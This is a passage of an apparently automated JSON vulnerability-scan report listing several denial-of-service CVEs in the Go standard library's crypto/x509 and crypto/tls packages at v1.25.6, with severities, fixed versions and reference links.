"https://access.redhat.com/errata/RHSA-2026:9742", "https://access.redhat.com/errata/RHSA-2026:9872", "https://access.redhat.com/security/cve/CVE-2026-25679", "https://bugzilla.redhat.com/2445356", "https://bugzilla.redhat.com/show_bug.cgi?id=2445356", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25679", "https://errata.almalinux.org/9/ALSA-2026-9044.html", "https://errata.rockylinux.org/RLSA-2026:9044", "https://go.dev/cl/752180", "https://go.dev/issue/77578", "https://groups.google.com/g/golang-announce/c/EdhZqrQ98hk", "https://linux.oracle.com/cve/CVE-2026-25679.html", "https://linux.oracle.com/errata/ELSA-2026-9044.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-25679", "https://pkg.go.dev/vuln/GO-2026-4601", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25679.json", "https://www.cve.org/CVERecord?id=CVE-2026-25679" ], "PublishedDate": "2026-03-06T22:16:00.72Z", "LastModifiedDate": "2026-09-18T13:17:30.067Z" }, { "VulnerabilityID": "CVE-2026-27145", "VendorIDs": [ "GO-2026-5037" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.11, 1.26.4", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-27145", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:2c7d056b76161123f6935adfddd98564527786daef3cc86f4f00ad11ac6fde63", "Title": "crypto/x509: golang: golang crypto/x509: Denial of Service via excessive processing of DNS SAN entries", "Description": "(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, \".\") to execute repeatedly on the same input hostname. With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.", "Severity": "HIGH", "CweIDs": [ "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:29980", "https://access.redhat.com/errata/RHSA-2026:29981", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:35832", "https://access.redhat.com/errata/RHSA-2026:36317", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:38995", "https://access.redhat.com/errata/RHSA-2026:39005", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39879", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41930", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42080", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42946", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:46394", "https://access.redhat.com/errata/RHSA-2026:46395", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49703", "https://access.redhat.com/errata/RHSA-2026:49705", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:49729", "https://access.redhat.com/errata/RHSA-2026:49744", "https://access.redhat.com/errata/RHSA-2026:49765", "https://access.redhat.com/errata/RHSA-2026:49770", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:51057", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:52946", "https://access.redhat.com/errata/RHSA-2026:53374", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53416", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54168", "https://access.redhat.com/errata/RHSA-2026:54401", "https://access.redhat.com/errata/RHSA-2026:54427", "https://access.redhat.com/errata/RHSA-2026:54432", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54500", "https://access.redhat.com/errata/RHSA-2026:54525", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54603", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:55899", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57488", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:59556", "https://access.redhat.com/errata/RHSA-2026:59557", "https://access.redhat.com/errata/RHSA-2026:59558", "https://access.redhat.com/errata/RHSA-2026:59559", "https://access.redhat.com/errata/RHSA-2026:59579", "https://access.redhat.com/errata/RHSA-2026:59593", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60315", "https://access.redhat.com/errata/RHSA-2026:60354", "https://access.redhat.com/errata/RHSA-2026:60386", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60388", "https://access.redhat.com/errata/RHSA-2026:60390", "https://access.redhat.com/errata/RHSA-2026:60391", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:63016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:68334", "https://access.redhat.com/errata/RHSA-2026:68335", "https://access.redhat.com/security/cve/CVE-2026-27145", "https://bugzilla.redhat.com/2445356", "https://bugzilla.redhat.com/2484207", "https://bugzilla.redhat.com/show_bug.cgi?id=2445356", "https://bugzilla.redhat.com/show_bug.cgi?id=2484207", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27145", "https://errata.almalinux.org/9/ALSA-2026-36317.html", "https://errata.rockylinux.org/RLSA-2026:36317", "https://go.dev/cl/783621", "https://go.dev/issue/79694", "https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw", "https://linux.oracle.com/cve/CVE-2026-27145.html", "https://linux.oracle.com/errata/ELSA-2026-53416.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-27145", "https://pkg.go.dev/vuln/GO-2026-5037", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27145.json", "https://www.cve.org/CVERecord?id=CVE-2026-27145" ], "PublishedDate": "2026-06-02T23:16:35.57Z", "LastModifiedDate": "2026-09-18T13:17:43.283Z" }, { "VulnerabilityID": "CVE-2026-32280", "VendorIDs": [ "GO-2026-4947" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.9, 1.26.2", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-32280", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:6b88f9287e088de1cbf25402547ed20de6f88895d5e8ed4787a672fecc05233b", "Title": "crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building", "Description": "During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10217", "https://access.redhat.com/errata/RHSA-2026:10219", "https://access.redhat.com/errata/RHSA-2026:10704", "https://access.redhat.com/errata/RHSA-2026:11507", "https://access.redhat.com/errata/RHSA-2026:11514", "https://access.redhat.com/errata/RHSA-2026:11688", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:13791", "https://access.redhat.com/errata/RHSA-2026:13826", "https://access.redhat.com/errata/RHSA-2026:13829", "https://access.redhat.com/errata/RHSA-2026:14020", "https://access.redhat.com/errata/RHSA-2026:14162", "https://access.redhat.com/errata/RHSA-2026:14200", "https://access.redhat.com/errata/RHSA-2026:14391", "https://access.redhat.com/errata/RHSA-2026:15980", "https://access.redhat.com/errata/RHSA-2026:16021", "https://access.redhat.com/errata/RHSA-2026:16024", "https://access.redhat.com/errata/RHSA-2026:16101", "https://access.redhat.com/errata/RHSA-2026:16476", "https://access.redhat.com/errata/RHSA-2026:16477", "https://access.redhat.com/errata/RHSA-2026:16505", "https://access.redhat.com/errata/RHSA-2026:16508", "https://access.redhat.com/errata/RHSA-2026:16532", "https://access.redhat.com/errata/RHSA-2026:16534", "https://access.redhat.com/errata/RHSA-2026:16535", "https://access.redhat.com/errata/RHSA-2026:16537", "https://access.redhat.com/errata/RHSA-2026:16542", "https://access.redhat.com/errata/RHSA-2026:16874", "https://access.redhat.com/errata/RHSA-2026:16875", "https://access.redhat.com/errata/RHSA-2026:17084", "https://access.redhat.com/errata/RHSA-2026:17287", "https://access.redhat.com/errata/RHSA-2026:18027", "https://access.redhat.com/errata/RHSA-2026:18032", "https://access.redhat.com/errata/RHSA-2026:19133", "https://access.redhat.com/errata/RHSA-2026:19135", "https://access.redhat.com/errata/RHSA-2026:19144", "https://access.redhat.com/errata/RHSA-2026:19350", "https://access.redhat.com/errata/RHSA-2026:19353", "https://access.redhat.com/errata/RHSA-2026:19375", "https://access.redhat.com/errata/RHSA-2026:19450", "https://access.redhat.com/errata/RHSA-2026:19550", "https://access.redhat.com/errata/RHSA-2026:19634", "https://access.redhat.com/errata/RHSA-2026:19714", "https://access.redhat.com/errata/RHSA-2026:19715", "https://access.redhat.com/errata/RHSA-2026:19719", "https://access.redhat.com/errata/RHSA-2026:19720", "https://access.redhat.com/errata/RHSA-2026:19721", "https://access.redhat.com/errata/RHSA-2026:19722", "https://access.redhat.com/errata/RHSA-2026:19750", "https://access.redhat.com/errata/RHSA-2026:19839", "https://access.redhat.com/errata/RHSA-2026:20556", "https://access.redhat.com/errata/RHSA-2026:20569", "https://access.redhat.com/errata/RHSA-2026:20570", "https://access.redhat.com/errata/RHSA-2026:20571", "https://access.redhat.com/errata/RHSA-2026:20607", "https://access.redhat.com/errata/RHSA-2026:20608", "https://access.redhat.com/errata/RHSA-2026:20609", "https://access.redhat.com/errata/RHSA-2026:20889", "https://access.redhat.com/errata/RHSA-2026:21017", "https://access.redhat.com/errata/RHSA-2026:21338", "https://access.redhat.com/errata/RHSA-2026:21655", "https://access.redhat.com/errata/RHSA-2026:21769", "https://access.redhat.com/errata/RHSA-2026:21772", "https://access.redhat.com/errata/RHSA-2026:22130", "https://access.redhat.com/errata/RHSA-2026:22141", "https://access.redhat.com/errata/RHSA-2026:22258", "https://access.redhat.com/errata/RHSA-2026:22260", "https://access.redhat.com/errata/RHSA-2026:22268", "https://access.redhat.com/errata/RHSA-2026:22309", "https://access.redhat.com/errata/RHSA-2026:22347", "https://access.redhat.com/errata/RHSA-2026:22415", "https://access.redhat.com/errata/RHSA-2026:22422", "https://access.redhat.com/errata/RHSA-2026:22465", "https://access.redhat.com/errata/RHSA-2026:22485", "https://access.redhat.com/errata/RHSA-2026:22709", "https://access.redhat.com/errata/RHSA-2026:22713", "https://access.redhat.com/errata/RHSA-2026:22840", "https://access.redhat.com/errata/RHSA-2026:22862", "https://access.redhat.com/errata/RHSA-2026:22958", "https://access.redhat.com/errata/RHSA-2026:22959", "https://access.redhat.com/errata/RHSA-2026:22960", "https://access.redhat.com/errata/RHSA-2026:22961", "https://access.redhat.com/errata/RHSA-2026:22962", "https://access.redhat.com/errata/RHSA-2026:23102", "https://access.redhat.com/errata/RHSA-2026:23103", "https://access.redhat.com/errata/RHSA-2026:23244", "https://access.redhat.com/errata/RHSA-2026:23345", "https://access.redhat.com/errata/RHSA-2026:23361", "https://access.redhat.com/errata/RHSA-2026:24337", "https://access.redhat.com/errata/RHSA-2026:24359", "https://access.redhat.com/errata/RHSA-2026:24470", "https://access.redhat.com/errata/RHSA-2026:24478", "https://access.redhat.com/errata/RHSA-2026:24716", "https://access.redhat.com/errata/RHSA-2026:24761", "https://access.redhat.com/errata/RHSA-2026:24762", "https://access.redhat.com/errata/RHSA-2026:24853", "https://access.redhat.com/errata/RHSA-2026:24977", "https://access.redhat.com/errata/RHSA-2026:25089", "https://access.redhat.com/errata/RHSA-2026:25127", "https://access.redhat.com/errata/RHSA-2026:25180", "https://access.redhat.com/errata/RHSA-2026:25248", "https://access.redhat.com/errata/RHSA-2026:25250", "https://access.redhat.com/errata/RHSA-2026:25251", "https://access.redhat.com/errata/RHSA-2026:25252", "https://access.redhat.com/errata/RHSA-2026:25253", "https://access.redhat.com/errata/RHSA-2026:26447", "https://access.redhat.com/errata/RHSA-2026:26568", "https://access.redhat.com/errata/RHSA-2026:26571", "https://access.redhat.com/errata/RHSA-2026:26585", "https://access.redhat.com/errata/RHSA-2026:26636", "https://access.redhat.com/errata/RHSA-2026:27076", "https://access.redhat.com/errata/RHSA-2026:28038", "https://access.redhat.com/errata/RHSA-2026:28047", "https://access.redhat.com/errata/RHSA-2026:28074", "https://access.redhat.com/errata/RHSA-2026:28196", "https://access.redhat.com/errata/RHSA-2026:28198", "https://access.redhat.com/errata/RHSA-2026:28441", "https://access.redhat.com/errata/RHSA-2026:28886", "https://access.redhat.com/errata/RHSA-2026:28961", "https://access.redhat.com/errata/RHSA-2026:29035", "https://access.redhat.com/errata/RHSA-2026:29195", "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:29702", "https://access.redhat.com/errata/RHSA-2026:29703", "https://access.redhat.com/errata/RHSA-2026:29854", "https://access.redhat.com/errata/RHSA-2026:33722", "https://access.redhat.com/errata/RHSA-2026:34097", "https://access.redhat.com/errata/RHSA-2026:34192", "https://access.redhat.com/errata/RHSA-2026:34196", "https://access.redhat.com/errata/RHSA-2026:34197", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:39810", "https://access.redhat.com/errata/RHSA-2026:39894", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:47712", "https://access.redhat.com/errata/RHSA-2026:47714", "https://access.redhat.com/errata/RHSA-2026:47716", "https://access.redhat.com/errata/RHSA-2026:47719", "https://access.redhat.com/errata/RHSA-2026:47721", "https://access.redhat.com/errata/RHSA-2026:47722", "https://access.redhat.com/errata/RHSA-2026:47910", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:48036", "https://access.redhat.com/errata/RHSA-2026:48790", "https://access.redhat.com/errata/RHSA-2026:49509", "https://access.redhat.com/errata/RHSA-2026:49526", "https://access.redhat.com/errata/RHSA-2026:49600", "https://access.redhat.com/errata/RHSA-2026:49838", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51288", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54603", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:56785", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56855", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:56913", "https://access.redhat.com/errata/RHSA-2026:57409", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57488", "https://access.redhat.com/errata/RHSA-2026:59830", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:59834", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61685", "https://access.redhat.com/errata/RHSA-2026:61906", "https://access.redhat.com/errata/RHSA-2026:61907", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65838", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66401", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/errata/RHSA-2026:9385", "https://access.redhat.com/security/cve/CVE-2026-32280", "https://bugzilla.redhat.com/2456333", "https://bugzilla.redhat.com/2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-49838.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/758320", "https://go.dev/issue/78282", "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "https://linux.oracle.com/cve/CVE-2026-32280.html", "https://linux.oracle.com/errata/ELSA-2026-65886-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-32280", "https://pkg.go.dev/vuln/GO-2026-4947", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32280.json", "https://www.cve.org/CVERecord?id=CVE-2026-32280" ], "PublishedDate": "2026-04-08T02:16:03.247Z", "LastModifiedDate": "2026-09-18T13:17:45.92Z" }, { "VulnerabilityID": "CVE-2026-32281", "VendorIDs": [ "GO-2026-4946" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.9, 1.26.2", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-32281", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:de061d54b69fa04379603c0b6ee930b3df225b9b72af8195ade20794c14bb4a4", "Title": "crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation", "Description": "Validating certificate chains which use policies is unexpectedly inefficient when certificates in the chain contain a very large number of policy mappings, possibly causing denial of service. This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:49838", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/security/cve/CVE-2026-32281", "https://bugzilla.redhat.com/2456333", "https://bugzilla.redhat.com/2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-49838.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/758061", "https://go.dev/issue/78281", "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "https://linux.oracle.com/cve/CVE-2026-32281.html", "https://linux.oracle.com/errata/ELSA-2026-67148-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-32281", "https://pkg.go.dev/vuln/GO-2026-4946", "https://www.cve.org/CVERecord?id=CVE-2026-32281" ], "PublishedDate": "2026-04-08T02:16:03.35Z", "LastModifiedDate": "2026-07-25T10:10:00.167Z" }, { "VulnerabilityID": "CVE-2026-32283", "VendorIDs": [ "GO-2026-4870" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.9, 1.26.2", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-32283", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:b74432a1604823d9e2c8d5128070099cb944120653b3b1063c6a6565e406f448", "Title": "crypto/tls: golang: Go crypto/tls: Denial of Service via multiple TLS 1.3 key update messages", "Description": "If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service. This only affects TLS 1.3.", "Severity": "HIGH", "CweIDs": [ "CWE-770", "CWE-764" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10217", "https://access.redhat.com/errata/RHSA-2026:10219", "https://access.redhat.com/errata/RHSA-2026:10704", "https://access.redhat.com/errata/RHSA-2026:11507", "https://access.redhat.com/errata/RHSA-2026:11514", "https://access.redhat.com/errata/RHSA-2026:11704", "https://access.redhat.com/errata/RHSA-2026:11711", "https://access.redhat.com/errata/RHSA-2026:11712", "https://access.redhat.com/errata/RHSA-2026:11863", "https://access.redhat.com/errata/RHSA-2026:11881", "https://access.redhat.com/errata/RHSA-2026:14162", "https://access.redhat.com/errata/RHSA-2026:14200", "https://access.redhat.com/errata/RHSA-2026:14391", "https://access.redhat.com/errata/RHSA-2026:15980", "https://access.redhat.com/errata/RHSA-2026:16021", "https://access.redhat.com/errata/RHSA-2026:16024", "https://access.redhat.com/errata/RHSA-2026:16101", "https://access.redhat.com/errata/RHSA-2026:16102", "https://access.redhat.com/errata/RHSA-2026:16875", "https://access.redhat.com/errata/RHSA-2026:17075", "https://access.redhat.com/errata/RHSA-2026:17084", "https://access.redhat.com/errata/RHSA-2026:17287", "https://access.redhat.com/errata/RHSA-2026:18027", "https://access.redhat.com/errata/RHSA-2026:18032", "https://access.redhat.com/errata/RHSA-2026:19126", "https://access.redhat.com/errata/RHSA-2026:19132", "https://access.redhat.com/errata/RHSA-2026:19133", 